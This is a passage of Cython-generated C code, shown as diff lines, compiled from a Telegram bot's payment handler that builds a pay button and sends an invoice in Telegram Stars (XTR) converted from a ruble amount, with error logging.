__PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 135, __pyx_L55_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 135, __pyx_L55_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":137 + * InlineKeyboardButton(text="", pay=True), + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":138 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 138, __pyx_L55_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 138, __pyx_L55_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":141 + * ) + * + * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":142 + * + * await callback_query.message.answer_invoice( + * title=f" {amount} .", # <<<<<<<<<<<<<< + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_3 = 0; + __pyx_t_30 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_kp_u__14); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_30 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_30) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_30; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_t_8); + __pyx_t_8 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_kp_u__15); + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_3, __pyx_t_30); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_title, __pyx_t_8) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":143 + * await callback_query.message.answer_invoice( + * title=f" {amount} .", + * description=f" {amount} .", # <<<<<<<<<<<<<< + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + */ + __pyx_t_8 = PyTuple_New(3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_3 = 0; + __pyx_t_30 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u__14); + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_30 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) > __pyx_t_30) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) : __pyx_t_30; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_13); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_13); + __pyx_t_13 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u__15); + __pyx_t_13 = __Pyx_PyUnicode_Join(__pyx_t_8, 3, __pyx_t_3, __pyx_t_30); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_description, __pyx_t_13) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/stars_pay.py":144 + * title=f" {amount} .", + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< + * provider_token="", + * payload=f"{amount}_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_amount, __pyx_t_11) < 0) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyList_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_11); + if (__Pyx_PyList_SET_ITEM(__pyx_t_8, 0, __pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error); + __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_prices, __pyx_t_8) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_provider_token, __pyx_kp_u__16) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + + /* "handlers/payments/stars_pay.py":146 + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + * payload=f"{amount}_stars", # <<<<<<<<<<<<<< + * currency="XTR", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 146, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_8, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 146, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_payload, __pyx_t_11) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + + /* "handlers/payments/stars_pay.py":148 + * payload=f"{amount}_stars", + * currency="XTR", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 148, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":141 + * ) + * + * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L61_resume_from_await:; + __pyx_t_5 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 141, __pyx_L55_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 141, __pyx_L55_error) + } + } + + /* "handlers/payments/stars_pay.py":132 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L60_try_end; + __pyx_L55_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":150 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 150, __pyx_L57_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":151 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_13); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_12}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":152 + * except Exception as e: + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__18}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 8; + return __pyx_r; + __pyx_L69_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 152, __pyx_L67_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 152, __pyx_L67_error) + } + } + } + + /* "handlers/payments/stars_pay.py":150 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L68; + } + __pyx_L67_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_29 = 0; __pyx_t_28 = 0; __pyx_t_27 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_29, &__pyx_t_28, &__pyx_t_27); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_29); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_27); + __pyx_t_10 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_31 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_29); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_ExceptionReset(__pyx_t_29, __pyx_t_28, __pyx_t_27); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_29 = 0; __pyx_t_28 = 0; __pyx_t_27 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_31; + goto __pyx_L57_except_error; + } + __pyx_L68:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L56_exception_handled; + } + goto __pyx_L57_except_error; + + /* "handlers/payments/stars_pay.py":132 + * await 